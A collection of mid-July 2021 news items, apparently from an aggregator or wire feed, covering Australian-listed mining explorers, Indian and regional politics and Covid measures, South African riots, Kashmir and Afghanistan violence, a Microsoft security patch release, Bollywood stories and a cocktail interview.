Lepidolite is the only style of lithium mineralisation with an extensive suite of by-products which, based on peer group studies, have the potential to place lepidolite-style projects at the bottom of the operating and capex cost curves.

Identify and develop projects

Lock said: Pan Asia Metal's objective is to identify and develop projects which have the potential to be placed at or near the bottom of the cost curve and which provide PAM the option to move past the mine gate and value add.

At the end of the day this is not just about tonnes and or grade, its also about cost of production, this is why we are focusing on lepidolite.

Reung Kiet Project

Reung Kiet Lithium Project is a lepidolite-style lithium project about 70 kilometres northeast of Phuket in Phang Nga province in southern Thailand.

The company holds a 100% interest in three contiguous special prospecting licences (SPL) and one exclusive prospecting licence application covering about 40 square kilometres.

Regional map showing the location of the Reung Kiet Lithium Project.

About the company

Pan Asia Metals is a battery and critical metals explorer and developer focused on the identification and development of projects in Asia that have the potential to position the company as the producer of metal compounds and other value-added products that are in high demand in the region.

The company owns two tungsten projects and two lithium projects, with three of its projects in Thailand, fitting its strategy of developing downstream value-add opportunities in low-cost environments proximal to end market users.

Pan Asia is also undertaking a target generation program, which complements its existing project portfolio and through the program, it has built a pipeline of target opportunities at various stages of consideration.
Kingston Resources Ltd (ASX:KSN) is targeting further growth over the 2022 financial year as it aims to become a leading gold miner in the Asia Pacific.

In its latest investor presentation, the rising gold developer outlined its current activities and future plans across the Misima project in Papua New Guinea and the Livingstone asset in Western Australia.

One of the first major milestones on the horizon is a definitive feasibility study for the Misima asset, which will build on a pre-feasibility study released late last year.

Now, with a new financial year underway, Kingston is looking to the future and preparing its precious metals portfolio to hit producer status.

As of March 31, Kingston had $13.5 million in the bank to support its development strategy.

Progress on multiple fronts

Commenting on work to date in a market announcement from late June, Kingston managing director Andrew Corbett said: Kingston is making fantastic progress on multiple fronts this year as we work to deliver a number of significant milestones on the path to recommencing gold production at Misima.

We are exceptionally fortunate to be able to rely on a successful historical blueprint for the development pathway for the Misima Gold Project, with extensive historical production data adding further weight to our current studies and de-risking our development plans."

We look forward to a very active second half of the year, with the definitive feasibility study and approvals program both expected to be completed in early 2022.

Misima Gold Project

Kingstons cornerstone gold asset is central to its vision to become a mid-tier producer.

The Misima Gold Project lies 600 kilometres from Port Moresby, Papua New Guineas capital city.

So far, Kingston has completed a pre-feasibility study at the foundational gold project, with a definitive feasibility study set to finalise in 2021s second half.

Currently, Misima hosts a 3.6-million-ounce gold resource, with around 1.35 million ounces in reserve.

The precious metals asset is also home to 24.2 million silver ounces and a 6.5-million-ounce reserve.

In Misimas pre-feasibility study, Kingston outlined a 17-year mine life, with the gold asset expected to produce 130,000 gold ounces every year at an all-in sustaining cost of $1,159 per ounce.

The flagship project is calculated to have a $822 million pre-tax net present value with a 33% internal rate of return.

Whats most exciting about Misima, however, is its future: the gold asset boasts substantial upside, with the potential for further drilling to grow the projects resources and reserves.

The projects past is also worth mentioning, with Misimas extensive mining history de-risking the assets development pathway.

Its anticipated Misima will require around $283 million in capital expenditure, including a $37 million contingency.

Exploring PNGs gold-rich soil

While it develops the foundational gold play, Kingston is advancing its exploration strategy.

The companys focus remains on near-surface mineralisation, with the Abi, Korbel & Maika, Unuma East, Ewatinona and Misima North prospects listed as priority targets.

Misimas key Umuna deposit is also of significance. The 3.3-million-ounce resource has upside potential, with the open-pit previously producing more than 3.5 million gold ounces.

Specifically, Umuma hosts a number of high-grade structures inside a broader mineralised corridor, where gold grading as high as 17.04 g/t has been intersected.

A recent resource drilling program at the deposits southern end has returned promising gold and silver assay results.

Some of the highlights include:

20.7 metres at 2.52 g/t gold and 86.1 g/t silver from 99 metres;

17.5 metres at 2.28 g/t gold and 2.5 g/t silver from 222 metres;

14.2 metres at 1.61 g/t gold and 4 g/t silver from 147 metres;

22.4 metres at 0.99 g/t gold and 27.8 g/t silver from 212 metres;

10.7 metres at 1.34 g/t gold and 8.1 g/t silver from 44 metres;

9.1 metres at 1.6 g/t gold and 10.5 g/t silver from 195 metres and;

3.8 metres at 2.42 g/t gold and 1.5 g/t silver from 184 metres.

As it prepares to release Misimas definitive feasibility study, technical studies are underway across the asset.

To date, phase one metallurgical testing has been finalised, with a phase two program currently underway.

Livingstone Gold Project

Misima isnt the only project Kingston has its eyes on: the gold-producing hopeful is also invested in a West Australian precious metals asset.

Livingstone Gold Project lies just 40 kilometres north of Meekatharra and spans 240 square kilometres across the western Bryah Basin.

The rising gold developer currently has a 75% stake in the project, where the Kingsley prospect was discovered back in 2018.

Livingstone hosts a JORC 2004-compliant inferred mineral resource, with 989,000 tonnes at 1.57 g/t gold for 49,900 contained ounces.

Kingstons majority-owned project also includes a number of high-grade, historical drilling intersections, strong soil anomalies and historical workings  all of which indicate excellent potential for additional discoveries.

Some of the best intersections reported at the projects Kingsley prospect to date include:

1-metre at 100.25 g/t gold from 88 metres;

15 metres at 4.66 g/t from the surface;

10 metres at 11.95 g/t from 20 metres;

22 metres at 3.65 g/t from 20 metres;

5 metres at 3.68 g/t from 12 metres;

10 metres at 4.15 g/t from the surface;

8 metres at 3.32 g/t from 92 metres and;

20 metres at 1.96 g/t from 1-metre.

With two gold exploration assets under its belt, Kingston is well-positioned to pursue its goal and become a precious metals producer in the Asia Pacific.
Lucknow, July 14 : While the Uttarakhand government has called off the Kanwar yatra, the Uttar Pradesh government has decided to go ahead with the same but with Covid safety protocols.

Uttar Pradesh Chief Minister Yogi Adityanath has directed officials to ensure that only a minimum number of people should participate in the annual Kanwar Yatra and strict implementation of Covid protocols, particularly social distancing, must be ensured.

The state government spokesman said that a negative RT-PCR test report can be made compulsory for pilgrims, if required.

The two-week long annual pilgrimage for devotees of Lord Shiva, the Kanwar Yatra is due to begin on July 25 of this year.

As part of the pilgrimage, devotees travel to Haridwar in Uttarakhand and other parts of the country to fetch holy water from the Ganga river.

Lakhs of devotees, known as Kanwariyas, from northern states travel on foot to collect water from the Ganga at Haridwar and then offer the same at various Shiva temples.

In view of the pandemic, Adityanath has directed that Kanwar Sanghs should be requested for the participation of a minimum number of people in the yatra.

He also said that necessary guidelines should be issued for travel by holding a dialogue with the neighbouring states.

The chief minister asked officials to pay special attention to cleanliness and proper lighting in all Shiva temples, shivalayas and travel routes.

-- The story has been published from a wire feed without any modifications to the text
Cape Town, July 14 : At least 72 people have been killed in South Africa after violence engulfed parts of the country following the jailing of former President Jacob Zuma.

This includes 10 people killed in a stampede during looting on Monday night at a shopping centre in Soweto, the BBC reported on Tuesday.

The BBC has also filmed a baby being thrown from a building in Durban that was on fire after ground-floor shops were looted.

The military has now been deployed to help the police overstretched since the unrest began last week.

South African police said in a statement that they had identified 12 people suspected of provoking the riots, and that a total of 1,234 people had been arrested.

President Cyril Ramaphosa has called it some of the worst violence witnessed in South Africa since the 1990s, before the end of apartheid, with fires set, highways blocked and businesses and warehouses looted in major cities and small towns in KwaZulu-Natal and Gauteng provinces.

Ministers have warned that if looting continues, there is a risk areas could run out of basic food supplies soon - but have ruled out declaring a state of emergency.

More than 200 shopping malls had been looted by Monday afternoon, the media reported.

Several shopping centres in Soweto - South Africa's largest township which was once home to Nelson Mandela - have been completely ransacked, with ATMs broken into, restaurants, stores selling alcohol and clothing shops all left in tatters.

Soldiers working with the police managed to catch a few rioters; in total almost 800 have been arrested, but law enforcement remains heavily outnumbered, he reports.

In KwaZulu-Natal - where livestock has also been stolen - the unrest continues with ambulances coming under attack by rioters in some areas, a local media outlet reported.

Video footage shows that a blood bank was looted in Durban as Ramaphosa addressed the nation on Monday night.
Srinagar, July 14 : Two terrorists have been killed in an ongoing encounter between terrorists and security forces in Jammu and Kashmir's Pulwama district, officials said on Wednesday.

The firefight started in the early hours of Wednesday morning after a joint team of the police and the army cordoned off the area and launched a search operation on the basis of specific information about presence of terrorists.

As the security forces zeroed in on the spot where terrorists were hiding, they came under a heavy volume of fire that triggered the encounter.

"Two unidentified terrorists killed in Pulwama encounter. Operation is in progress," police said.
Srinagar, July 14 : A top commander of the terrorist outfit Lashkar-e-Taiba (LeT) was among the three killed in an encounter between the terrorists and security forces in South Kashmir's Pulwama district, officials said on Wednesday.

"One more unidentified terrorist killed (Total 03). Incriminating materials including arms and ammunition recovered. Search going on," said a tweet from the J&K Police.

The police identified the LeT terrorist as Aijaz alias Abu Huraira and said he was from Pakistan. Aijaz was killed along with two local terrorists during the encounter.

The gunfight started in the early hours of Wednesday morning after a joint team of the police and army cordoned off the area and launched a search operation on the basis of a specific information about the presence of terrorists.

As the security forces zeroed in on the spot where terrorists were hiding they came under a heavy volume of fire that triggered the encounter.

Inspector General of Police, Kashmir Vijay Kumar congratulated police and security forces.

-- The story has been published from a wire feed without any modifications to the text
July 14 : Aamir Khan and his production team, who are currently shooting in Ladakh for the forthcoming film Laal Singh Chaddha, was recently accused of polluting the shoot location in Ladakh. The production team has now denied the allegations.

Aamir Khan Productions has denied the claims that the crew of Laal Singh Chaddha littered and polluted the shooting location in Ladakh. Laal Singh Chaddha stars Aamir Khan and Kareena Kapoor Khan.

After almost a week when a video went viral on Twitter, showing the shoot location being littered with trash by Aamir Khans team in Ladakh, Aamir Khan Productions issued a statement denying the allegations. In the statement, the productions team said, "To whomsoever it may concern: AKP (Aamir Khan Productions) would like to clarify that as a company we follow strict protocols for cleanliness in and around our shooting spaces. We have a team which makes sure that the location is kept trash-free at all times. At the end of the day there is a re-check of the entire location. At the end of the entire schedule, we make sure that when we leave a location we leave it as clean, or cleaner than we found it."

The statement further read, "We believe that there are some rumours/allegations about our location not being kept clean. We strongly deny such claims. Our location is always open to relevant local authorities to carry out checks anytime that they like."

A Twitter user recently alleged that the crew of Aamir Khans upcoming film Laal Singh Chaddha left rubbish behind at the shoot area in Ladakh after filming in Wakha village. The Twitter user shared a video clip showing used water bottles strewn across the shoot area. He had tweeted, This is the gift Bollywood star Amir Khans upcoming movie Laal Singh Chada has left for the villagers of Wakha in Ladakh. Amir Khan himself talks big about environmental cleanliness at Satyamev Jayate but this is what happens when it comes to himself.

This is the gift Bollywood star Amir Khan's upcoming movie Lal Singh Chada has left for the villagers of Wakha in Ladakh.

Amir Khan himself talks big about environmental cleanliness at Satyamev Jayate but this is what happens when it comes to himself. pic.twitter.com/exCE3bGHyB  Jigmat Ladakhi  (@nontsay) July 8, 2021

Meanwhile, Aamir Khan, Nag Chaitanya along with the crew of Laal Singh Chaddha is in Ladakh for a three-week schedule. The team is filming an extended war sequence of the film that is being shot in Kargil and Ladakh. The final leg of the film will be shot in Mumbai in September.

Helmed by Advait Chandan, the film is the official Hindi remake of Tom Hanks' hit film Forrest Gump. Laal Singh Chaddha is a comedy drama, written by Atul Kulkarni. It is backed by Aamir Khan Productions, Viacom18 Studios and Paramount Pictures. Aamir Khan bought the rights of the film in 2018 and announced the film officially in March 2019.
Thiruvananthapuram, July 14 : In a first of its kind protest by a Governor in Kerala, Governor Arif Mohammed Khan began a hunger strike at 8 a.m. on Wednesday at his official residence here against the evils of dowry.

The fast is being organised by various Gandhian organisations, which began at the Gandhi Bhawan here and is meant to create awareness against the giving and taking of dowry.

Khan will end his fast at the Raj Bhawan at 4 p.m. He will then join the protesters at the Gandhi Bhawan and will sit with them till the protest ends at 6 p.m.

Khan was deeply saddened after several women in the state committed suicide due to dowry abuse, and last month he had promised to work as a volunteer against the evil.

The Governor had visited the family of a young final year Ayurveda medical student, who took her life after her husband allegedly demanded an expensive car last month. After paying tributes, Khan had told the media that NGOs and volunteers should step up the awareness drive through a campaign against dowry and promised that he is ready to work as a volunteer.

Khan then said 'dowry is an evil and as far as laws are concerned, they are very strong and the need is to create a general and social awareness against it'.

In the previous month, many dowry harassment cases have surfaced, forcing Chief Minister Pinarayi Vijayan to take new steps, and a female IPS officer was made in-charge to deal with all such cases.
Thiruvananthapuram, July 14 : The Congress party on Wednesday slammed Kerala chief minister Pinarayi Vijayan for his curt and rude remarks that if the protesters break Covid protocols, they will be dealt with sternly. The Congress said, this is not what a head of the state should speak.

For the past few days protests have been raging across the state especially at Kozhikode, where the traders have threatened to open their shops breaking the present Covid protocols, as they have no other option, as their lives are in dire straits.

It was against this that Vijayan, who was in Delhi, spoke to the media on Wednesday, that if they (traders) break rules, they will be dealt with sternly and added that they should not turn smart.

Leader of Opposition V.D. Satheesan said this is nothing but a language not to be used by a chief minister.

"The real face of Vijayan has surfaced and his arrogance is because he has won a second term and need not face the electorate again in the near future. Just look back and see how he used to speak before the assembly polls and see his body language now. It's best that he should not speak the way the CPI-M party secretary speaks," said Satheesan.

State Congress president K. Sudhakaran said Vijayan's true colours have come out and his language smacks of arrogance.

"The tone and tenure of Vijayan is what is heard in the streets. We, the Congress party stand solidly behind the protesters as they have raised a very genuine need, as their lives have all gone haywire due to the pandemic. Instead of resolving their needs and demands, Vijayan was wrong in taking on them through this type of language," said Sudhakaran and added that while the Covid spread has slowed down all across the country, it continues to rage in Kerala, which means there is something wrong somewhere.

Now all eyes are on the traders protests which they have called on Thursday to demand that they be allowed to start operations even when the Covid protocols are in place and it remains to be seen if they will forcefully open their shops.

Latest updates on Coronavirus (COVID-19)
New Delhi, July 14 : After facing cyber attacks on its servers and software, Microsoft has released several security fixes, including a remote code execution (RCE) bug in its Exchange Server.

The July 2021 Patch Tuesday fixes 117 vulnerabilities tackling RCEs, spoofing, memory corruption and information disclosure, among others.

"The monthly security release includes all security fixes for vulnerabilities that affect Windows 10, in addition to non-security updates," the company said in an update.

"In addition to security changes for the vulnerabilities, updates include defense-in-depth updates to help improve security-related features," the company added.

Thirteen security fixes are critical and nine are zero-days.

Microsoft last week released an emergency Windows patch to fix a critical vulnerability in the Windows Print Spooler service called 'PrintNightmare'.

An attacker who successfully exploited this vulnerability could run arbitrary code with System privileges. An attacker could then install programmes, view, change, or delete data, or create new accounts with full user rights.

Microsoft said it has completed the investigation and has released security updates to address this vulnerability.

The Print Spooler service runs by default on Windows, including on client versions of the OS, Domain Controllers, and many Windows Server instances.

Microsoft has also acquired RiskIQ, a leader in global threat intelligence and attack surface management, for an undisclosed sum as the company aims to strengthen cybersecurity of digital transformation and hybrid work.
Chennai, July 14 : The Supreme Court has tentatively listed July 27 as the likely date to hear the contempt petition filed by the Tamil Nadu government against Karnataka and central government against the construction of Mekedatu dam over Cauvery river by the Karnataka government.

The Tamil Nadu government had moved the contempt petition against the director of project appraisal (south), chairman of the Central Water Commission, directorate of the Central water commission, Managing Director of Cauvery Neeravari Nigam Limited, Karnataka's water resources department principal secretary and minister. The contempt was moved in December 2018 after the Central Water Commission entertained the feasibility report of the dam.

Tamil Nadu has contended that the Central Water Commission had ignored the court order. In an all-party meeting held on Monday, the opposition AIADMK wanted the state government to clear all cases related to the Mekedatu dam including the contempt of court proceedings.

S. Duraimurugan, senior leader of the DMK and state water resources minister had, in the all-party meeting on Monday, said that the state government would oppose the Mekedatu dam project continuously as the Karnataka government would have to get several clearances including from environment and forests, wildlife, energy, techno-economic clearance, resettlement and rehabilitation and said that the TN government would oppose the proposal at all these stages.

Tamil Nadu had opposed the Cauvery water management authority taking up the Mekedatu dam issue three times during the meetings. It may also be noted that an expert appraisal committee of the union environment ministry had not given the Karnataka government the terms of reference for an environmental study in June 2019 on the Mekedatu dam project.

While the Supreme Court has tentatively listed the contempt plea for hearing on July 27, the official date will be known soon.
Udupi : , July 14 (IANS) The Udupi police have formed four special teams to crack the murder of a woman who had just returned from Dubai recently.

The murder which took place in a private apartment in Kumbragodu near Bramhavar had shocked the coastal town.

Vishala Ganiga, 35, was strangulated with a wire on July 12. Vishala had returned on June 30 from Dubai with her daughter. She was staying at her parents' place in Udupi.

On the fateful day last week, Vishala had told her parents that she would visit their apartment in Brahmavar and return after finishing some work at a bank.

The incident had come to light when her father went to check the apartment after his daughter did not return home.

It is suspected that the murder took place over a financial matter.

Police have taken the CCTV footage into custody. Her gold ornaments and cash were found missing from the apartment.
Hubli : , July 14 (IANS) The fifth Additional and District Sessions court in Hubli city of Karnataka has sentenced a honey-trap gang to life term imprisonment after finding them guilty.

Judge K.N. Gangadhar gave the order on Tuesday against four accused persons, including a woman.

The convicts -- Ganesh Shetty, Aanabha Vadavi, Ramesh Hazare and Vinayaka Hajate -- used to take victims to isolated places and rob them before thrashing them.

The judgement came in a case wherein one of the four convicts Aanabha Vadavi had befriended a person and taken him to a lonely place on July 30, 2017. Other convicts, who were waiting at the spot pounced on the victim accusing him of trying to rape the woman.

The gang then tried to blackmail the victim and demanded Rs 5 lakh to 'settle' the issue. When the victim refused, they attacked him with weapons on abdomen and neck leaving him grievously. Later, the gang took the money after swiping his ATM card.
New Delhi, July 14 : Thailand and Indonesia say they will give a booster shot to healthcare workers who received Sinovac, Wall Street Journal reported.

Thailand became the latest country to signal waning confidence in a Chinese vaccine against the highly contagious Delta variant, saying it would offer booster shots of Western doses to healthcare workers.

Healthcare workers who received two doses of the vaccine developed by Sinovac Biotech Ltd would be given a third shot made by either Pfizer Inc or BioNTech SE or AstraZeneca PLC, Thailand's health ministry said. Those who had only one dose would receive AstraZeneca as their second, the report said.

The decision to mix the vaccines makes Thailand the latest country to show reservations about whether Chinese vaccines work well enough to protect medical workers against the Delta variant, which was first detected in India and is thought to be far more contagious than earlier versions of the virus. The strain has spread to at least 98 countries, WSJ said.

Indonesia said last week that it would offer medical workers a booster shot from Moderna Inc. Around 90 per cent of the country's medical staff have received two doses of the Sinovac vaccine, but hundreds have fallen ill from Covid-19, reducing medical manpower amid a surge of the virus, according to Indonesia's health ministry and doctors' groups, the report said.
Colombo, July 14 : Pakistan High Commissioner for Sri Lanka Major General (Retd.) Muhammad Saad Khattak expressed confidence on China's support for his country but warns that countries like Sri Lanka and his own should be 'mindful about the support extended and taken from other countries'.

"Pakistan-China relationship or Sri Lanka-China relationship all the engagements we are undertaking with the Chinese government I think a lot depends on how our leadership handles," said the High Commissioner when the media questioned whether countries like Sri Lanka and Pakistan have entrapped to China's emerging as a super power in the region.

"Our countries are mindful about the support extended and taking from the other countries. We have also seen the support came to our countries from some other countries and schemes attached," the High Commissioner said, adding that Sri Lanka left certain agreements with other countries because they did not suit the island nation despite the fact that the offering countries were great powers.

"There have been many things on offer for our countries. They were very attractive often. But we thought those to be compromising our sovereignty but we did not opt for those. With the Chinese support I think nothing visibly is happening of the sort," he said adding, "I don't see Chinese soldiers swamping over Sri Lanka nor Pakistan." However, Khattak said, "Yet at the same time we have to keep in mind that there are no free-lunches." "So, therefore it has to be an accommodation of the interest of the countries that are at the giving end, that accommodation would not mean for the leadership to compromise on the fundamentals of your sovereignty and dignity." Questioned about the dispute over Jammu and Kashmir between India and Pakistan, the High Commissioner said that his country stands with the UN Resolution but India has brought in Unilateral changes in the region violating the UN Security Council resolution.

"My reference is to the challenges that have emanated by changing the status of the illegally occupied state of Jammu and Kashmir. There is a principal stand that we continue to stand with and that is in accordance with the UN resolutions," he said.

"Despite those stated resolutions India has brought in unilateral changes in the region violating United Nation Security Council Resolutions. Pakistan position always was principle one and continues to remain the same that is to stand with the people of the 'occupied' Jammu and Kashmir assisting them politically and diplomatically and ensuring that the issue is addressed according to the United Nations Security Council Resolutions."
July 14 : Sonam Kapoor was living with her husband Anand Ahuja in London for almost a year now. Due to covid, she was staying with him there and was away from her family in Mumbai. Finally, the actress arrived in Mumbai late last night and her father Anil Kapoor went to the airport to receive her.

It was an emotional moment to see father daughter reunion after so long. After seeing her father in person, she got emotional. They both walked hand in hand out of the airport and left for their home.

Before leaving from London, Sonam shared glimpses of Anand dropping her to the airport. The actress then posted a photo of hers from inside the plane and wrote, " Home Coming".

As she arrived in the city, her husband Anand Ahuja has already posted, "Miss you already" with a photo of hers.

On the workfront, she was last seen in 'AK Vs AK' . She will next be seen in a film called 'Blind'. She shot for it in Glasgow while her stay in London. The film is directed by Shome Makhija. It is a crime thriller which is a remake of a korean film of the same name. It also features Purab Kohli, Vinay Pathak and Lillete Dubey.
Chennai, July 14 : With the IT firms calling upon their employees to report for duty at offices, the restaurants, malls and paying guest accommodations are gearing up for the expected business.

In the Old Mahabalipuram Road (OMR), the hub of IT industry of Chennai, several restaurants are expecting a good footfall as IT firms are slowly opening their premises. The increase in vehicular traffic through the OMR stretch has also caught up and according to transport officials, the traffic increase is due to the opening-up of firms and other business establishments on the stretch.

Restaurants and Paying guest accommodations are also preparing themselves for the opening of the IT firms as these two categories will be in high demand on the stretch.

Murugan Pandyan who runs a paying guest accommodation near the OMR stretch said that he has already conducted three-four rounds of cleaning of his premises and has prepared for the IT employees to return.

While speaking to IANS, Murugan said, "Most of the IT employees have informed us that their offices would start functioning in a couple of weeks and some have already commenced operations. Our old customers are coming back and we have already given a few rooms on rent and people have come in. Most prefer non-ac rooms as there are apprehensions over living in air-conditioned rooms. Also, we have reduced the number of people in a room from four to two and most are converted as single rooms." The restaurants on the stretch at Old Mahabalipuram Road are also preparing for the reopening of IT firms as most of them were shut down following the closing of IT firms.

Kuruvila John, an employee of an IT firm and hailing from Pathanamthitta in Kerala told IANS, "I have already reached my office and in a few days we will be fully functional. The first thing I was searching was the restaurants as I need good non-vegetarian food and luckily most of our old joints are reopening and I think things will be normal in a few weeks from now." With most of the IT firms conducting vaccine drives and private firms taking steps to inoculate the employees, opening of IT firms would give a fillip to the dormant areas of OMR after the lockdown.

KT Srinivasa Raja, Honorary President of Chennai Hoteliers Association and Managing Director of restaurant chain, Adyar Ananda Bhavan told IANS, "Our restaurants are open and several people, mostly IT employees have dined at our premises but still the footfalls are much less than what the earlier business was." He however was optimistic that with the IT firms opening again and the employees coming back to work, business would soar and that profit margin would increase in the days to come.

Several malls are also opening their outlets and Niranjan Kumar, who is the manager of a shop in a mall in OMR, said that people are coming and only genuine buyers are reaching the malls after the Covid-19 pandemic. He said, "Earlier, a majority of visitors came for just window shopping but now only genuine buyers are reaching the malls and this is a welcome trend. We expect the rush to increase in the days to come." The opening of IT firms is giving a morale booster to several shops, restaurants, malls and other essential services and the OMR area of Chennai, which is the hub of the IT industry of the city, is slowly but surely witnessing the rush it had in pre-Covid days.
July 14 : Whenever we talk about the show Pavitra Rishta, automatically one name comes to our mind and that is Sushant Singh Rajput. The show gave us a shining star who unfortunately is no more with us. The makers are now coming up with its second season. While Ankita Lokhande will reprise the role of Archana, Shaheer Sheikh will be seen essaying the role of Manav this time.

Before people get to see him as Manav, Shaheer wrote an emotional note, "When I was first approached for PR2, I was taken aback. Who in their right frame of mind, would dare to play a character immortalised by Sushant Singh Rajput..I too was reluctant.Then I thought, knowing Sushant he was one to take every challenge head on.

And so I decided that while it is scary to step into his shoes & live upto audience expectations it is scarier to NOT even try. And so I did what I felt he would do, if he was in my position. I took the challenge. When the team told me they wanted someone who was earnest so that we could all tell a story that was a fitting homage to Sushants legacy I decided to give it my all and leave the rest to the audiences and to The All Mighty. Working with a team that loved & respected him immensely only adds to the genuine intent in all our hearts.

Sushant, you will always be Manav. Nothing can change that & no one can replace that. I may not be as good, and I may not do justice to it like you did, but I promise to give it my ALL. 

The note clearly shows that it was really a big challenge for the actor to say yes to this role. To step into Sushant's shoes will be tough for me but he has promised to give his best.

The show Pavitra Rishta 2 is being directed by Nandita Mehra and written by Nikiti Dhond, Gautam Hegde and Ritu Bhatia. It will stream on Alt Balaji soon.

We wish the entire team of the show all the best for their journey. Sushant will be missed dearly by them as well as his fans.
Kabul, July 14 : Taliban militants have been intensifying activities to capture more districts, as the U.S. troops are completing the pull-out from Afghanistan.

In the meantime, Afghan security forces have been conducting counter-offensives to foil the militant group's efforts.

In the latest wave of conflict, Taliban has stepped up offensives on Kandahar city, capital of southern Kandahar province, Taluqan city, capital of northern Takhar province, Kunduz city, capital of northern Kunduz province and Badghis province's capital Qala-e-Naw in the west, Xinhua reported.

In Taliban's former stronghold Kandahar city, officials said on Tuesday that dozens of people, mostly civilians, including women and children, have been killed and injured over the past 24 hours.

A doctor in Mir Wais hospital of Kandahar city, on condition of anonymity, said that 18 injured civilians including nine children and a woman have been taken to the hospital for medical treatment since Tuesday morning. Two dead bodies have also been taken to the hospital, the doctor added.

The Taliban attack on Taluqan city had been foiled and the militants retreated after leaving 12 bodies behind, an army officer, Sayed Naeem said Tuesday.

The militants have captured three districts including Malustan in the eastern Ghazni province, and Kohmard and Sighan districts in the central Bamyan province over the past 24 hours, during which, Kuran-wa-Munjan district in Badakhshan province was regained by security forces.

Taliban militants have been fighting hard to overrun Ghazni city, capital of Ghazni province, in an effort to take control of the highway linking the national capital Kabul with Kandahar city in the south, and the western Herat province. Kandahar city is merely around 450 kms away from Kabul.
New Delhi, July 14: New Delhi will not resume exports of Covid 19 vaccines until all adults in the country get fully vaccinated. Insiders refuted reports saying that India would start supplying vaccines to other countries. Once the adults are vaccinated, the government will have to look at the children.

Pace of vaccination is critical for India to boost its economy, which has been impacted by the severity of the second wave in May and June.

Besides, there is lurking fear of another third wave of the virus.

"India is not sitting on surplus doses at this point and given this situation, it is not going to resume exports of vaccines - we don't see that happening at least this year. We have to prioritise our people," one of them told India Narrative.

India and the world will also be closely watching the new Health Minister Mansukh Mandaviya and his team. He has been entrusted with the tough job of averting another health crisis while expediting the vaccination drive.

Nirupama Soudararajan, Senior Fellow and Head of Research of Pahle India Foundation told India Narrative that the pandemic has led to "massive wealth erosion" due to closure of businesses and unemployment.

"India's economy has to be jump-started. Though another round of stimulus package has been announced, the economy cannot run on such assistance. We need to keep our focus on the vaccination drive. In this scenario, we should not export vaccines to other countries including the neighbouring nations," Soundararajan said.

Despite a drop in the number of fresh cases, business sentiments are flat and uncertainty remains.

"Fear of fatality is high and given that the virus is mutating, we need to be adequately prepared for other strains. We cannot afford another gap in the supply-chain. Production has not reached a level when we can even think of exporting vaccines," she added.

Soundararajan also noted that there could be further requirements for booster shots in the next few months.

"We are yet to ascertain whether booster shots will be required in India. We haven't heard anything on that but many countries have already announced. We need to be prepared as well and the the demand for vaccines therefore will be huge," Soundararajan said.

Echoing the same sentiment, EY India's chief policy adviser DK Srivastava said that the economic revival process "is totally dependent on the pace of vaccination." "We are not completely out of the woods with the number of active cases showing an increase. We have to avoid a third wave to ensure that the economy picks up steam and for this, the vaccination drive has to be pushed," Bidisha Ganguly, chief economist of the Confederation of Indian Industry's (CII) said.

(The content is being carried under an arrangement with indianarrative.com) --indianarrative
New Delhi, July 14 : A cohort study on the impact of vaccination among Covid-19 patients by Star Health and Allied Insurance has unveiled the significant impacts of vaccination among individuals 45 years and above, IndiaMedToday reported.

The study concluded that there was a marked reduction in the total hospitalisation expenses by approximately 24 per cent, the average length of stay (ALOS) by a mean of 2.1 days, ICU requirement by 66 per cent and a reduction of approximately 81 per cent in mortality among patients who had completed two doses of vaccination.

The report said the study was conducted during the second wave (March and April 2021) and considered a sample size of 3,820 hospitalised patients from across India who were 45 years and above.

The cohort study revealed that the average cost of hospitalisation of the unvaccinated group was Rs 2.77 lakh while the vaccinated group recorded an average cost of Rs 2.1 lakh.

The cost reduction was due to factors like reduced need of ICU requirement and reduction in the length of hospital stay from an average of seven days among unvaccinated to an average of 4.9 days for the vaccinated group, the report said.

Speaking on the study, S Prakash, MD, Star Health and Allied Insurance said, "The beginning of 2021 saw a breakthrough in vaccine discovery against COVID-19 making it the fastest vaccine discovery till date. We aimed to measure and understand in exact terms the impact of Covid-19 vaccination in patients who contracted the illness 14 days after the second dose versus unvaccinated patients, thus making it unique research in its own right." The cohort study surveyed customers of Star Health and Allied Insurance Company who were admitted for COVID-19 treatment in 1,104 hospitals across the country and found that the ALOS, need for ICU and reduction in costs holds for patients with comorbidities as well. While the need for ICU for patients with comorbidities fell from a whopping 9.4 per cent to 5 per cent amongst those vaccinated, the treatment cost also reduced by nearly 15 per cent.

"However, the study also revealed that over 57 per cent of patients among the unvaccinated group were hesitant to take the vaccine due to fear, ignorance or more worryingly, social factors and disinterest! There is an urgent need to address this and we hope that through this study we will be able to highlight the benefits of the vaccine, educate and motivate the public to get vaccinated soon," added Prakash.

Conducted and concluded during the early stages of vaccination drive, the study noted that nearly 86 per cent of those surveyed had not taken the vaccination and amongst these 43 per cent did not have any valid reason for not taking the jab.

Latest updates on Coronavirus (COVID-19)

-- The story has been published from a wire feed without any modifications to the text
New Delhi, July 14 : The Supreme Court on Wednesday took suo moto cognizance of the Uttar Pradesh government's decision to allow Kanwar Yatra amid the ongoing Covid pandemic.

A bench headed by Justice R.F. Nariman issued notice to the Centre and the Yogi Adityanath government and fixed the matter for hearing on Friday.

The top court said that it has read something in the newspaper on Wednesday that Uttar Pradesh has chosen to continue with the Kanwar Yatra while Uttarakhand, with hindsight of experience, had said there will be no yatra.

The bench said: "We wish to know the stand of the respective governments. The citizens of India are completely perplexed. They do not know what is going on." The bench emphasized that such decisions were being taken even after Prime Minister Narendra Modi has already said that "we cannot compromise even one bit".

The bench said it is issuing notices to the concerned state governments and the Centre, because the yatra is scheduled to leave from July 24. "We want them to file an early response so that the matter can be heard on Friday," added the bench.

-- The story has been published from a wire feed without any modifications to the text
New Delhi, July 14 : With the pandemic affecting nightlife, many have turned to home bars and taken to experimenting with cocktails. But what really goes into making a good cocktail and what ingredients lead the way? Super-premium vodka, Belvedere, approaches cocktails as consumers approach food-- looking at ingredients and understanding their effects on the body. IANSlife speaks to Alice Farquhar, Global Brand Education & Training Manager, Belvedere, to find out what makes a lip smacking cocktail on the sidelines of the Belvedere 'Made With Nature' campaign launch.

Farquhar has taken Belvedere education to all corners of the world over the past four years combining her passions of travel and people and training over 50,000 people globally. In addition to her education work, Alice has been involved in the creation of new innovative spirits as part of the Belvedere portfolio, including the Single Estate Rye Vodkas and Heritage 176.

Q: What are "healthy cocktails" and how is Belvedere promoting these? A: I think it is important to remember that there isn't a 'healthy cocktail' so to speak. However, we have been championing to help consumers make more conscious decisions, based on learning and understanding ingredients when choosing what to drink. Our philosophy when it comes to cocktails is reflected in our Made with Nature platform which focuses on 'best, fresh, simple ingredients, avoiding anything artificial, flavoured or heavily sweetened. We try and stick to using ingredients in their original natural state from a bush or tree rather than artificially manufactured.

